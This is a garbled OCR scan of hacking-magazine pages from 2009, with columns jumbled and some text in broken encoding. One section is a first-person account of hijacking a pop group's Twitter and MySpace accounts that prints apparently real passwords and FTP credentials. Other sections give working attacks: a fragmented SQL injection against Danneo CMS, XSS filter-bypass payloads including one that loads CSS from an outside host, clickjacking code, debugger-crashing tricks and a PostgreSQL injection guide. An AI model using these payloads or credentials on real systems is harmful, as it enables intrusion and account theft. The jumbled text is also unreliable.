Так как дефейсом занимаются лишь первоклассники, я
решил направить свои основные действия на аккаунты
группы в социальных сетях. Сперва я запостил в Твиттер
сакраментальную фразу «I'll be watching you! From Russia
with love :)» (как и в случае со Стивеном Фраем). Удивленные
отклики фанатов не заставили себя ждать:
ВНУТРИ BACKSTREETBOYS.COM
piiittta@backstreetboys what...i dont
understand?????
---
NinaBackstreetRT @kairarosa @backstreetboys
Oh Guys!!!!!!!! Hello!!!! Russia????? OMG!
Around the world again????? LOL! Love you! Say
Hi to Brazil!
---
Loliii@backstreetboys I'll be watching YOU
with love from Argentina, how about that uh?
---
realNinoRodgers@backstreetboys I'll be
watching you! From Russia with love :) <<
That's my country, HAVE FUN!! :-)
---
MysticalPixie@backstreetboys who will be
ФОРМА ЗАГРУЗКИ ШЕЛЛА ЧЕРЕЗ АВАТАР :) watching? gotta tell us who is twitting here
guys...lol
---
паролем «paplee», что мне успешно и удалось сделать. puricha@backstreetboys What? Are you in Russia
Далее я воспользовался замечательным поиском среди now? I thought you were in Madrid !!
писем, который заботливо встроил в свой мыльный ---
HTTP://WWW сервис дядя Гугл. В качестве поисковых фраз я использо- DannynhaMansani@backstreetboys Are u going to
вал следующие комбинации: «ftp pass», «ftp password», Russia? Is Russia your next stop, guys? WOW!
links «password login». В результате раскопок мой улов соста- U're traveling a lot, hope u're having some fun
• backstreetboys.com вили аккаунты: =)
— виновник торжес- ---
тва. https://twitter.com/backstreetboys overloved@backstreetboys oooohhh my boys!!!
• groundctrl.com — username — backstreetboys tell me something, i wanna know if u do feeling
разработчик сайтов password — j3nnj3nn excited to come to Dubai?? how u feel? :D
для зарубежных --- ---
звезд. Myspace.Com m_serra@backstreetboys i'm watching you! from
• http://ru.wikipedia. bsbsocialutility@yahoo.com brazil with love :)
org/wiki/Backstreet_ spring99 ---
Boys — о группе --- k_rina_ktbspa@backstreetboys COME BACK TO
Backstreet Boys на Bsbadmin.com (îí æå admin.backstreetboys.com) SOUTHAMERICA.. CHILE MISS YOU!!! BESOS!!! SA
Википедии. Bsboys FANS.. LOVES YOU!!!! PLEASE!! :-(
• myspace.com/ .sandoz. ---
backstreetboys — --- vale101@backstreetboys heeey what?s new.. are
страница коллектива FTP in Russia .. Wow, understand the language ..
на MySpace. host: backstreetboys.com tell me something in Russian?... jejeje kisses
• twitter.com/ user: backstreetsback ---
backstreetboys — pass: 3rxvt6pueuyr MayMclean@backstreetboys Hey guys... what's
микроблог бэков --- up?? Russia... this is great!! OMG!! tell us
на Твиттере. FTP when TIU TOUR will arrive in Brazil?!
host: groundctrl.com ---
user: groundctrl danyzinhalee_@backstreetboys Russia, madrid,
pass: ninegbzif3zfgw Holland, Germany, u guys travel a lot —
info
Backstreet Boys (англ.
«Парни с задворок»)—
американская поп-
ПОЧТОВЫЕ ЯЩИК ОДНОГО ИЗ АДМИНОВ группа, которая была
GROUND(CTRL) МОЙ ПОСТ В БЛОГЕ BSB НА MYSPACE образована 20 апреля
1993 года в Орландо
(Флорида). В 2001 г.
была внесена в Книгу
Mr Mclean? Mr Carter? Mr Dorough???? ;) рекордов Гиннеса как
Cause I'll be watching too... From Holland with самая коммерчески
Love! ;) успешная подростко-
--- вая вокальная коман-
GinCarter: да всех времен.
WOW GUYS! GOOD LUCK! Backstreet Boys
--- являются одними из
[*ALMA DaNgErOuS*]: самых продаваемых
who's gonna be watching??? исполнителей в мире,
ВНУТРИ АККАУНТА BSB НА MYSPACE xD и одними из тех, кто
remember, Mexico loves you, you have to come заработал больше
back! :) всего денег на своих
--- дисках и концертах.
beijinho doce to you -Rawan-: Группа состоит из
--- I don't know WHO will be watching us..:p but i четырех человек:
pancho_torto@backstreetboys realyy!!?? people have a feeling that Nick is the one who will be Ник Картер, Эй Джей
said that it's a great placee!!! please come watching us! Маклин, Брайан
back to Argentinaa!!! We love you guys!! --- Литтрелл, Хауи Дороу.
*JULIE*ORR*: Пятый участник —
Как видишь, люди были крайне удивлены тем, что их кумиры oh never mind then lol Кевин Ричардсон —
внезапно переместились из Бразилии в Россию, поэтому, --- покинул группу
будучи больше не в силах никого травмировать, я удалил Danny_Mansani: 23 июня 2006 года.
свой пост :). I don't know who will be watching us, but I'm
Подошла очередь не совсем знакомого мне MySpace. Не- def will be watching u ;)
много разобравшись со внутренним устройством этой соци- From Brazil, with love =)
альной сети, я разместил уже известную тебе фразу в посте ---
блога BSB и на главной странице профайла в комментариях. Stephanie: WARNING
Вот какие ответы я получил от фанатов Backstreet Boys: What?
âåá-ñåðâåð
ïîëüçîâàòåëü
èíòåðíåò
Web Application Firewall
àòàêóþùèé
ñåðâåð áàçû äàííûõ
ñòåíû çàùèòû
Ôàéðâîë äëÿ âåá-ïðèëîæåíèé: ñïîñîáû îáíàðóæåíèÿ è îáõîäà
ÊÎÃÄÀ ÌÛ ÃÎÂÎÐÈÌ «ÔÀÉÐÂÎË», ÒÎ Â ÁÎËÜØÈÍÑÒÂÅ ÑÂÎÅÌ ÏÎÄÐÀÇÓÌÅÂÀÅÌ ÈÍÑÒÐÓ-
ÌÅÍÒ ÄËß ÔÈËÜÒÐÀÖÈÈ ÑÅÒÅÂÎÃÎ ÒÐÀÔÈÊÀ. ÏÐÈÊÐÛÒÜ ÏÎÐÒÛ, ÏÎÐÅÇÀÒÜ ÒÐÀÔÈÊ ÏÎ ÍÅ-
ÍÓÆÍÎÌÓ ÏÐÎÒÎÊÎËÓ, ÎÃÐÀÍÈ×ÈÒÜ ÄÎÑÒÓÏ ÊÎÍÊÐÅÒÍÛÕ ÏÐÈËÎÆÅÍÈÉ Â ÑÅÒÜ, ÁÓÄÜ ÒÅ ÍÀ
ÑÅÐÂÅÐÅ ÈËÈ ÎÁÛ×ÍÎÉ ÄÎÌÀØÍÅÉ ÌÀØÈÍÅ, — ÂÑÅ ÝÒÎ ÇÀÏÐÎÑÒÎ ÐÅÀËÈÇÓÅÒÑß ÎÁÛ×ÍÛÌ
ÁÐÀÍÄÌÀÓÝÐÎÌ. ÍÎ ÇÍÀË ËÈ ÒÛ, ×ÒÎ ÔÀÉÐÂÎË ÑÓÙÅÑÒÂÓÅÒ ÅÙÅ È ÄËß ÂÅÁ-ÏÐÈËÎÆÅÍÈÉ
È ÑÏÎÑÎÁÅÍ ÎÁÅÑÏÅ×ÈÂÀÒÜ ÄÎÏÎËÍÈÒÅËÜÍÛÉ ÑËÎÉ ÇÀÙÈÒÛ?
ÏÐÀÊÒÈ×ÅÑÊÈ Â ËÞÁÎÌ например, привести к утечке базы с конфи- проверка, даже если она не предусмотрена
ÂÅÁ-ÏÐÈËÎÆÅÍÈÈ ÅÑÒÜ ÑÅÐÜÅÇÍÛÅ денциальной инфой. Но ведь программисты в самом скрипте приложения, обязательно
ÁÀÃÈ. За доказательством далеко ходить тоже люди: каждый может сделать ошибку. будет осуществляться WAF.
не нужно: достаточно прочитать свежий Заставить всех разработчиков писать абсо- Получается, что Web Application Firewall — это
баг-трак. Анализируя код и используя лютно безопасный код невозможно (хотя и специальный механизм, накладывающий
сканирования типа черного ящика, когда существуют специальные стандарты вроде определенный набор правил на то, как взаимо-
различные параметры, передаваемые веб- Microsoft'овского Security Development действуют между собой сервер и клиент, обра-
приложениям, фаззятся особым образом, Lifecycle). Но! Можно попробовать выполнить батывая HTTP-пакеты. В основе кроется тот же
хакеры нередко находят ошибки даже в за них работу над ошибками, внося в схему принцип, что и в обычных пользовательских
очень серьезных проектах. В итоге, отсут- взаимодействия между пользователем и файрволах, — контроль всех данных, которые
ствие проверки передаваемого параметра веб-приложением дополнительное звено — поступают извне. WAF опирается на набор пра-
в одном единственном месте кода может, Web Application Firewall (WAF). В этом случае вил, с помощью которого выявляется факт атаки
ОБНАРУЖЕНИЕ WAF
Установка и настройка каждого из решений
— тема для отдельной статьи, но нам сейчас
dvd
• Все материалы вы-
ступлений, инстру-
менты, упомянутые
в статье, а также
подборка бесплатных
WAF доступны на
диске.
XSS В GOOGLE CHROME
• Демонстрацию уяз-
нулл-байту функции eregi(), поэтому для обхода провер- менной comtitle обрезается функцией substr() до 255 вимости в Danneo CMS
ки достаточно вставить в начале параметра %00. Даже символов. Ошибка разработчиков состоит в том, что смотри на DVD.
при включенной директиве PHP magic_quotes_gpc данные сперва экранируются и только потом приво-
нулл-байт не будет экранироваться, так как присутствует дятся к требуемой длине, хотя должно быть наоборот.
такой код: Это дает возможность проведения фрагментированной
SQL-инъекции, несмотря на экранирование входящих
if(!ini_get("register_globals") || данных при magic_quotes_gpc=on. HTTP://WWW
(@get_cfg_var('register_globals')==1)) { Для проведения успешной атаки необходимы следую-
@extract($_COOKIE,EXTR_SKIP); щие значения параметров: links
@extract($_POST,EXTR_SKIP); • comname — a-z значение от 5 символов до 10; • www.webappsec.
@extract($_GET,EXTR_SKIP); • comtitle — 254 символа + кавычка; org — Web Application
@extract($_REQUEST,EXTR_SKIP); • comtext — /*%00*/, (SELECT adpwd FROM dn052_admin Security Consortium
/* ... */ LIMIT 1), 1)-- - (WASC).
if(get_magic_quotes_gpc()) { Последним символом в значении переменной comtitle • ru.wikipedia.org/
if($_POST) $_POST = stripslashesall($_ будет обратный слэш, который экранирует следующую wiki/Сетевая_мо-
POST); за ним кавычку, что позволит выполнить код в перемен- дель_OSI.
if($_GET) $_GET = stripslashesall($_GET); ной comtext. В итоге, получится SQL-запрос: • xiom.com — ресурс,
if($_REQUEST) $_REQUEST = посвященный исклю-
stripslashesall($_REQUEST); INSERT INTO dn052_polling_comment VALUES чительно WAF.
if($_COOKIE) $_COOKIE = (NULL,'1','0','1230987393', • code.google.com/p/
stripslashesall($_COOKIE); 'antichat','a[252x]b\','/*\0*/, (SELECT waffit — проект
} adpwd FROM dn052_admin LIMIT 1), 1)-- wafw00f.
-','127.0.0.1') • w3af.sourceforge.net
Здесь важно отметить, что все данные, полученные — фреймворк w3af.
напрямую из суперглобальных массивов ($_GET, При просмотре страницы с комментариями в поле тек- • www.netnea.com/
$_POST, $_COOKIE, $_REQUEST), будут очищены от ста сообщения будет отображен пароль администратора. cms/?q=remo — GUI-
экранирующих символов, в то время как переменные, редактор правил
ранее введенные в локальное пространство из тех же СЛЕПЫЕ SQL-ИНЪЕКЦИИ Remo.
массивов функцией extract(), останутся как есть. Уже При проведении слепых SQL-инъекций грамотный WAF
на этом этапе видна несогласованность кода. Сама же — серьезное препятствие. Однако получить информа-
SQL-инъекция находится в модуле голосований при цию из базы данных все же возможно при использо-
добавлении комментариев: вании альтернативных имен операторов и конструкций
синтаксиса. Например, для MySQL применимы такие
$comtext=($setting['peditor']=="yes") ? варианты:
commentparse($comtext) :
deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],T
HIS_INT)==1 && preparse($usermain['userid'
],THIS_INT)>0) ? $usermain['uname'] : subs
tr(deltags($comname),0,50);
$comtitle=substr(deltags($comtitle),0,255);
$in=$db->query("INSERT INTO "
.$basepref."_polling_comment VALUES
(NULL,'".$id."','".$usermain
['userid']."','".NEWTIME."', '$comname',
'$comtitle','$comtext','".REMOTE_
ADDRS."')"); В ситуациях, когда производится фильтрация по нали-
чию того или иного символа в параметре, также есть
Уязвимость возникает после того, как значение пере- свои альтернативы в зависимости от RDBS.
СКАЗКИ
XSSАХИРИЗАДЫ
1000 И 1 СПОСОБ ОБОЙТИ XSS-ФИЛЬТР
Я не перестаю удивляться этому миру! Если бы две недели назад кто-
нибудь сказал мне, что я буду писать статью в z, посвященную меж-
сайтовому скриптингу — я бы рассмеялся и попросил этой чудной лебе-
ды. Но жизнь на то и жизнь, чтобы не поддаваться прогнозам, а в твоих
руках сейчас материальное доказательство этого факта. Не торопись
пролистывать статью! Как показала практика, даже опытные специа-
листы при написании фильтров не учитывают множества вариантов,
ограничиваясь лишь тем, что можно найти на ha.ckers.org/xss.html.
29 АВГУСТА, 12:00, ПИТЕР конкурсантов — обойти фильтр и показать скоро нахожу первый вариант атаки, минут че-
В рамках фестиваля Chaos Construction пример одного из стандартных видов атаки. рез 30 — второй. Получается, что через фильтр
2009 стартует конкурс Realtime Bitrix WAF Сайт заведомо содержит уязвимости, но поль- проходят следующие строки:
Hack. Организаторы — «1С-Битрикс» и зовательские данные фильтруются WAF. Меня
Possitive Technologies. Смысл затеи — про- привлекает эксплуатация XSS только потому, <style>
тестировать фильтр проактивной защиты что для конкурса Hack-Video я нашел XSS-уяз- @\69\6D\70\6F\72\74 url(http://
WebApplicationFirewall. Эта штуковина обраба- вимость в поле Referer боевого «Битрикса» onsec.ru/xss.css);
тывает данные, поступающие от пользователя версии 8.0.5. Банальные ><script> и onMouse* я </style>
(http-заголовки и GPC) на предмет наличия уже попробовал дома, так что начинаю рыться в style=onsec:e\xp\re\s\
в них SQL-injection, XSS, LFI и RFI. Задача памяти и пробую варианты похитрее. Довольно s\i\o\n(alert(‘XSS’))
XÀÊÅÐ 10 /130/ 09
063
ВЗЛОМ
function makePOSTRequest попался, распечатывает картинку на принтере. Тут я задерживаться особо не буду. Возьми на
(url, parameters) Атака выглядит следующим образом: заметку, если что непонятно — в Сети много
{ материалов на эту тему. Я же продолжу повест-
http_request = false; <img src='myprinter:9100/Printed_ вование именно о методах обхода фильтров.
// Mozilla, Safari,... from_the_web/>
if (window.XMLHttpRequest) БУДЬ СТИЛЬНЫМ!
{ Это, конечно, концепция, но с помощью ИСПОЛЬЗОВАНИЕ CSS2
http_request = new XMLHttpRequest(); JavaScript и POST-запроса печать действи- И CSS3 ДЛЯ XSS
if(http_request.overrideMimeType) тельно получится. Прежде всего, упомяну заезженные вещи. Для
{ Internet Explorer существует способ выполнять
// set type accordingly to anticipated CLICKJACKING JavaScript с помощью функции expression(). В
content type Это новая и интересная техника. Суть проста, как качестве аргумента ей передается сам скрипт.
http_request.overrideMimeType( помидор — атакуемый сайт подгружается как Пример реализации — в самом начале статьи.
'text/html'); подложка под какой-нибудь другой слой, напри- Чуть менее заезженный прием для IE — исполь-
} мер, игру типа «попади мышкой». Пользователь зование behavior. Проблема в том, что можно
} щелкает по движущейся мишени, нажимая на подключить только файл, расположенный на
else if (window.ActiveXObject) реальные кнопки атакуемого сайта, который он том же домене. Вот HTML:
{ // IE не видит. Сделать это можно и с помощью Flash
try { и с помощью CSS. Вот вариант от David Ross: <div style=”behavior: url(“/file.
http_request = new ActiveXObject( htc”)
"Msxml2.XMLHTTP"); iframe,frame,object,applet {
} border:1px solid #000 !important; Содержимое подключаемого файла примерно
catch (e) visibility:visible !important; следующее:
{ opacity: 1 !important;
try { filter: alpha(opacity=100) <attach event="ondocumentready"
http_request = new ActiveXObject( !important; handler="parseStylesheets" />
"Microsoft.XMLHTTP"); position:absolute !important; <script language="JavaScript">
} float:none !important; function parseStylesheets() {
catch (e) overflow:auto !important; alert(document.cookie + '\nONSEC.
{} .... ru security research team')
} } }
} </script>
if (!http_request) { Или вот — от его же банды — с помощью html и
return false; стилей: Есть небольшой положительный момент —
} такую конструкцию можно засунуть внутрь дру-
<html> гого HTML; IE распознает там все, что нам надо
http_request.onreadystatechange = \ <head> и выполнит. Таким образом, есть возможность
alertContents; </head> использоваться как бы два XSS кряду и вызвать
http_request.open('POST', url, true); <body> какую-нибудь административную javascript-
http_request.setRequestHeader( <image ISMAP style="position: функцию. Сейчас расскажу более подробно.
"Content-type", absolute;width:100%;height:10 Предположим, есть сайт с уязвимостью XSS
"application/x-www-form-urlencoded"); 0%;" onmousedown="this.style. и фильтром, который фильтрует script, но
http_request.setRequestHeader( display='none'"> пропускает behavior. Для наглядности, — пусть
"Content-length", parameters.length); <iframe src="http://www.microsoft. существует уязвимость в админке и в поис-
http_request.setRequestHeader( com" id=x type=text/html width=500 ке, но все варианты XSS, кроме behavior, не
"Connection", "close"); height=500 codetype=text/html работают. Предлагаю вот такой «двойной»
http_request.send(parameters); id=x></iframe></image> вектор: http://xssed-site.com/search/q=<div
} </button> style="behavior:url(http://xssed-site.com/
</body> admin/q=<attach event="ondocumentready"
Но самый веселый вариант, который мне </html> handler="delUser(1)"/>)>
XÀÊÅÐ 10 /130/ 09
065
ВЗЛОМ
 ÐÅÂÅÐÑÈÍÃÅ, К ПРИЛОЖЕНИЯМ
• КОЛЕСО УПРАВЛЕНИЯ ЗВУКОМ
È ÂÛÈÃÐÛÂÀÉ ÏÐÈÇÛ.
Èòîãè
ñåíòÿáðüñêîãî DEFENDER ZURICH 755
2. JAcKiE
3. peretc89
4. ianepanda
5. mazalamo
XÀÊÅÐ 10 /130/ 09 67
ВЗЛОМ
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU
ÝÍÖÈÊËÎÏÅÄÈß
ÀÍÒÈÎÒËÀÄÎ×ÍÛÕ
ÏÐÈÅÌÎÂ
Одно из самых больших удовольствий для реверсера (иногда
— и большая головная боль) — преодоление защит, которые
«завязаны» на обработке исключений. Если ты еще не знаком
с подобным принципом защитных механизмов то, все, что
изложено ниже, тебе очень пригодится. «На закуску» — еще один
защитный трюк: использование одной интересной особенности
работы функции vsprintf (), буквально «убивающей» OllyDbg.
«ИСКЛЮЧИТЕЛЬНАЯ» мается системный обработчик. Каким образом Разберем следующий код, который внесен в
ЗАЩИТА установить обработчик собственный? рассмотренную нами программу-«дрозофилу»
Часто в процессе работы программы возни- Указатель на структуру, содержащую адрес «ex.exe» при помощи отладчика OllyDbg (не
кают ситуации, которые невозможно предус- обработчика (который также совпадает и с забывай, что код вносится, начиная с адреса
мотреть. Например, попытка записи в ячейку адресом указателя на сам обработчик), нахо- 00401026, что требует использования LordPe
памяти, которая принадлежит странице с дится по адресу FS:[0]. Следовательно, для для изменения точки входа в программу):
неустановленным атрибутом «writeable», того, чтобы заменить системный обработчик
или же деление на ноль. Для таких ситуаций собственным, необходимо поместить в стек 00401026 XOR EAX,EAX; EAX=0
программисты Microsoft создали механизм структуру, содержащую адрес нового обработ- 00401028 PUSH 0040103A ; ïîìåùåíèå
обработки исключений. чика, и указатель на старый обработчик. После àäðåñà íîâîãî îáðàáîò÷èêà â ñòåê
Обработчик исключений, или SEH (англ. чего поместить по адресу FS:[0] указатель на 0040102D PUSH DWORD PTR FS:[EAX]
«Structured Exception Handling») — часть кода, новую структуру. ; ïîìåùåíèå àäðåñà ñòàðîãî îáðàáîò-
на которую возложена функция обработки Не будем терять время, рассмотрим на прак- ÷èêà â ñòåê
ошибок для данного треда. Нужно пояснить, тике один из антиотладочных приемов. Если 00401030 MOV DWORD PTR
что представляет собой тред (от англ. «thread», ты читал предыдущий выпуск журнала, то FS:[EAX],ESP; ïîìåùåíèå â FS:[0]
нить). Думаю, ты знаешь, что код программы помнишь, что мы исследовали небольшую óêàçàòåëÿ íà ñòðóêòóðó
может быть «распараллелен», то есть не- программу-«дрозофилу» (воспользуемся 00401033 CALL 00401033; ãåíåðàöèÿ
сколько частей программы могут выполняться термином, который иногда в своих статьях ис- èñêëþ÷åíèÿ ïóòåì ïåðåïîëíåíèÿ ñòåêà
одновременно — в контексте единственного пользует Крис), написанную на ассемблере. Ее 00401038 JMP SHORT 00401038;
процесса (например, в графическом редакторе можно найти на нашем диске; точка входа рас- äàííàÿ èíñòðóêöèÿ íèêîãäà íå áóäåò
одновременно могут выполняться печать изоб- полагается по адресу 0x0401000, а код, который èñïîëíåíà
ражения и его редактирование). Каждая такая выдает окошко с надписью «Hello, World!», 0040103A POP EAX; âîññòàíîâèòü
часть программы и называется тредом. При имеет размер всего 26h байт. Соответственно, ðåãèñòð
этом для каждого треда может быть установлен начиная с адреса 0x401026, располагается 0040103B POP EAX; âîññòàíîâèòü
собственный обработчик исключений. «выравнивающий» секцию массив нулевых ðåãèñòð
По умолчанию обработкой исключений зани- байтов. 0040103C POP ESP; âîññòàíîâèòü
PRINTF
«Функции семейства printf выводят данные в соответствии с
параметром format, описанным ниже. Функции printf и vprintf
направляют данные в стандартный поток вывода stdout; fprintf
и vfprintf направляют данные в заданный поток вывода stream;
sprintf, snprintf, vsprintf и vsnprintf направляют данные в символь-
ную строку str. Функции vprintf, vfprintf, vsprintf, vsnprintf эквива-
лентны соответствующим функциям printf, fprintf, sprintf, snprintf,
исключая то, что они вызываются с va_list, а не с переменным ко-
личеством аргументов. Эти функции не вызывают макрос va_end ,
и поэтому значение ap после вызова неопределенно. Приложение
может позже само вызвать va_end(ap). Эти восемь функций выво-
ТАК ВЫГЛЯДИТ ПРОГРАММА ДО ВНЕДРЕНИЯ АНТИ- дят данные в соответствии со строкой format, которая определяет,
ОТЛАДОЧНОГО КОДА. ВСЕ ПРЕДЕЛЬНО ЯСНО каким образом последующие параметры (или доступные парамет-
ры переменной длины из stdarg(3)) преобразуют поток вывода».
0040103E ROL DWORD PTR DS:[EAX],0 грамотный разбор антиотладочного кода про- и имеют уязвимости, свойственные подав-
; Shift constant out of range 1..31 фессиональным реверсером и множественные ляющему большинству других программных
00401041 JMP SHORT ex_excep.0040100F правки кода в процессе отладки. продуктов. Порой удается использовать эти
; ôèêòèâíûé ïåðåõîä íà ñåðåäèíó èíñ- Метод часто используется и для изменения EIP, ошибки, чтобы предотвратить отладку.
òðóêöèè то есть адреса выполняемой инструкции. Часть Отладчик OllyDbg содержит уязвимость,
кода, которая, казалось бы, должна выполняться, связанную с использованием ошибочного
Этот код практически не поддается анали- может быть предварена не слишком явно опре- выполнения функции vsprintf (), входящей в
зу, что доказывает: механизм исключений деленным исключением. В результате, разбор msvcrt. Функция входит в семейство функций
— очень эффективный и мощный метод структуры программы оказывается для реверс- «printf». Как это описывает сайт www.opennet.
антиотладки. Интересно, что инструкции, инженера практически непосильной задачей. ru читай на врезке.
располагающиеся вблизи точки входа, не Спецификаторы преобразований, начинаю-
интерпретируются в качестве кода даже «КОРМИМ» VSPRINTF () щиеся символом «%», указывают, что за стро-
после того, как точку останова устанавливают СПЕЦИФИКАТОРАМИ кой следует параметр. Если в вызове функции
на «данные», располагающиеся по адресу Отладчики, хотя и созданы специалистами по указан спецификатор «%s», параметр типа
0x401000. Исправить ситуацию может только реверс-инжинирингу, являются программами const char * будет преобразован в указатель на
символьный массив — строковой указатель.
При этом функцией будут выведены символы,
ТОЧКА ОСТАНОВА В НАЧАЛЕ КОДА ПРОГРАММЫ НЕ ПОМОЖЕТ. вплоть до символа-терминатора («NULL»).
OLLYDBG БЕССИЛЕН! В чем причина ошибочного выполнения
функции vsprintf () в OllyDbg? Оказывается,
в определенных случаях отладчик передает
данные, встречающиеся в программе, непос-
редственно функции vsprintf (), без каких-либо
дополнительных проверок. Представь себе,
что в строке, переданной функции, содержатся
спецификаторы преобразований. Если будет
выполнено преобразование параметра в
указатель, который будет указывать на неини-
циализированную область памяти, програм-
ма завершится с сообщением об ошибке.
Исключение не будет обработано стандартным
обработчиком, и процесс, породивший его,
будет завершен. Ты, наверное, догадался,
что в случае вызова некоторых API-функций в
процессе исследования программы данным
процессом будет являться отладчик. Это нас и
интересует больше всего :). Ошибка исполь-
зования функции vsprintf () при передаче ей
символьной строки, в которой содержатся спе-
цификаторы преобразования «%s», встреча-
ется в отладчике OllyDbg версии 1.10. Именно
эта версия и полюбилась тысячам реверсеров
по всему миру! К сожалению, отладчики уров- MOV EAX,DWORD PTR SS:[EBP-4] На практике осуществить антиотладочный
ня ядра и некоторые «прикладные» отладчики 7C8024FD MOV DWORD PTR SS:[EBP-4],-1 прием, описанный выше, очень легко (в качес-
не имеют этой ошибки. Но наша цель — один из 7C802504 тве «подопытной» программы снова восполь-
наиболее популярных отладчиков — OllyDbg. MOV DWORD PTR SS:[EBP-8], EAX зуемся нашей «дрозофилой»):
Ниже мы рассмотрим код, который демонстри- 7C802507
рует использование уязвимости. LEA EAX,DWORD PTR SS:[EBP-10] 00401026 PUSH 00401033 ; óêàçàòåëü
Программа может генерировать текстовые 7C80250A MOV DWORD PTR FS:[0],EAX íà ñòðîêó
отладочные сообщения. Для этих целей в 7C802510 RETN 0040102B CALL OutputDebugStringA
WIN32 есть функция OutputDebugStringА() ; âûçîâ ôóíêöèè
библиотеки «kernel32.dll». Функцией После выполнения этого кода и возврата в 00401031 JMP 00401000; ïåðåõîä ê
OutputDebugStringA() регистрируется функцию OutputDebugStringA() обработчик âûïîëíåíèþ ïðîãðàììû
собственный обработчик исключений (мы будет установлен. 00401033 DB "%s%s",0 ; ñòðîêà, òåð-
говорили об обработчиках выше), после чего Вот прототип функции, которая вызывает ìèíèðîâàííàÿ íóëåâûì çíà÷åíèåì
вызывается RaiseException(), инициирующая исключение:
программное исключение. Если в системе В принципе, если вызов функций — как
присутствует отладчик, установленный по RaiseException( высокоуровневых, так и NativeAPI — спрятан
умолчанию, обработка сгенерированного DWORD dwExceptionCode, (этого можно добиться, используя некоторые
исключения будет передана ему. В ином DWORD dwExceptionFlags, методики, вроде Stolen code, то есть метод
случае будет использоваться обработчик, DWORD nNumberOfArguments, перемещения кода функций в PE-файл). Все
установленный самой функцией. В том, что CONST DWORD *lpArguments попытки исследования сводятся к пере-
обработчик действительно установлен, легко ); мещению в ядро выполнением команды
убедиться, протрассировав по <F7> функцию SYSENTER, что заставляет реверс-инженера
OutputDebugStringA() до момента вызова Параметр *lpArguments формируется использовать низкоуровневые отладчики,
внутренней функции, содержащей следую- на основе входной строки для функции например, SoftIce. В свою очередь, это свя-
щий код: OutputDebugStringA(). Так как указатель будет зано с большими трудозатратами. Поэтому
иметь недопустимое значение, исключение не эта защитная «фишка» является очень эф-
7C8024F9 PUSH EAX будет обработано. А это и приводит к «умира- фективной, если подходить к ее реализации
7C8024FA нию» отладчика. с умом. z
УКОЛ СЛОНУ
РУКОВОДСТВО ПО РЕАЛИЗАЦИИ SQL-INJECTION В POSTGRESQL
UNION,
ВСЕ ГЕНИАЛЬНОЕ — ПРОСТО В результате увидим ошибку: id (int)
Итак, сразу к делу. Рассмотрим инъекцию вида title (text)
Query failed: ERROR: ORDER BY text (text)
SELECT id,title,text,is_enable FROM position 5 is not in select list
news WHERE id=$id; is_enable (boolean)
Отнимаем от этого числа единицу и получаем
Если мы не знаем количество столбцов, то количество столбцов в запросе. В нашем слу- Попытка составить, например, такой запрос:
подбираем так же, как и в MySQL: чае это будет 4. Составляем еще один запрос:
id=-1 UNION SELECT
id=1 ORDER BY 1 id=-1 UNION SELECT null,null,null,123
id=1 ORDER BY 99 null,null,null,null
привела бы к следующей ошибке —
— либо, если у нас есть вывод ошибок, следую- Важное отличие MySQL от большинства других
щим образом: СУБД — в том, что она игнорирует конфликт в Query failed: ERROR: UNION types
типах колонок при UNION. В нашем случае поля boolean and integer cannot be
id=1 ORDER BY 1,2,3,4,5,...,99 имеют тип: matched
id=10;SELECT 123
ция об установленных процедурных языках. Однако этот способ не будет работать, если поле имеет тип
Подробнее — чуть позже, а пока приведу ее неполную name. К примеру, такой запрос:
WARNING структуру:
id=10;SELECT+CAST(usename AS boolean) FROM
lanname — Íàçâàíèå ÿçûêà (òèï name) pg_user
lanispl — ßâëÿåòñÿ ëè ÿçûê ïðîöåäóðíûì, âñåãäà
info false äëÿ ÿçûêà sql (òèï boolean) возвратит ошибку —
Внимание! Инфор- lanpltrusted — ßâëÿåòñÿ ëè ïðîöåäóðíûé ÿçûê
мация представлена áåçîïàñíûì (òèï boolean) ERROR: cannot cast type name to boolean
исключительно
с целью ознаком- ВСТРЕЧАЙТЕ... Но мы знаем, что ошибку выдает преобразование типа text
ления! Ни автор, ни INFORMATION_SCHEMA! в тип boolean. А что нам мешает сделать двойное преобра-
редакция за твои Радоваться или плакать, но в PostgreSQL существует зование?
действия ответствен- полюбившаяся нам в MySQL > 5.0 база information_schema,
ности не несут! содержащая в себе информацию обо всех таблицах и id=10;SELECT CAST(CAST(usename AS text) AS
колонках, доступных текущему пользователю. Структура ее boolean) from pg_user
практически идентична.
Узнаем интересующую нас таблицу: Первой функцией мы переводим name в text, а второй text в
boolean. В результате получаем ошибку:
id=-1 UNION SELECT null,null,table_name,null
FROM information_schema.tables LIMIT 1 OFFSET Query failed: ERROR: invalid input syntax for
0 type boolean: "admin"
Стоит заметить, что оператор limit имеет в PostgreSQL дру- При использовании этого способа есть одна особен-
гой вид и состоит из двух частей: ность. Мы не можем выводить интересующую нас запись,
LIMIT — число записей, которое будет выведено из БД. используя limit offset. Для этого нам потребуется составить
OFFSET — номер записи, начиная с которой будет происхо- конструкцию where columnname not in (). Предположим, что
дить вывод (0 — начало отсчета). предыдущий запрос вернул запись admin. Тогда составим
Итак, мы нашли имя таблицы, — пусть это будет users. Узна- такой:
ем имена полей запросом:
id=10;SELECT CAST(CAST(usename AS text) AS
id=-1 UNION SELECT null,null,column_name,null boolean) FROM pg_user WHERE usename NOT IN
FROM information_schema.columns WHERE table_ ('admin')
name='users' LIMIT 1 OFFSET 0
Таким образом, мы можем перебрать все содержимое
Ну а дальше выводим, так же, как и в MySQL (только не забы- таблицы. Тестируя этот метод на различных сайтах, я столк-
вай про типы и limit offset). нулся с проблемой, которую можно объяснить различием в
версиях. Заключается она в преобразовании типа boolean в
РАЗДЕЛЯЙ И ВЛАСТВУЙ любой другой тип. В официальной документации сказано:
До этого момента мы рассматривали классическую инъек-
цию с использованием оператора UNION. Сейчас я покажу Values of the boolean type cannot be cast
тебе более интересные способы. directly to other types (e.g., CAST (boolval AS
Большинство из ниже описанного будет работать, если у integer) does not work)
текущего пользователя есть права usesuper. Замечу, что
такое тут встречается намного чаще, чем в MySQL. Один из Несмотря на это, у половины тестируемых сайтов, запрос вида:
id=10;SELECT (table_
schema||':::'||table_
name)::text::boolean FROM
information_schema.tables Если мы не знаем имя таблицы, из которой LIMIT? NO LIMIT
извлекаются данные, можно составить Зачем использовать limit или not in (), когда
МНОГОСТРОЧНЫЕ ЗАПРОСЫ универсальный запрос для любого случая: мы можем вывести сразу все записи. Для этого
Иногда SQL-запрос может состоять из несколь- нам нужно, чтобы был включен язык plpgsql,
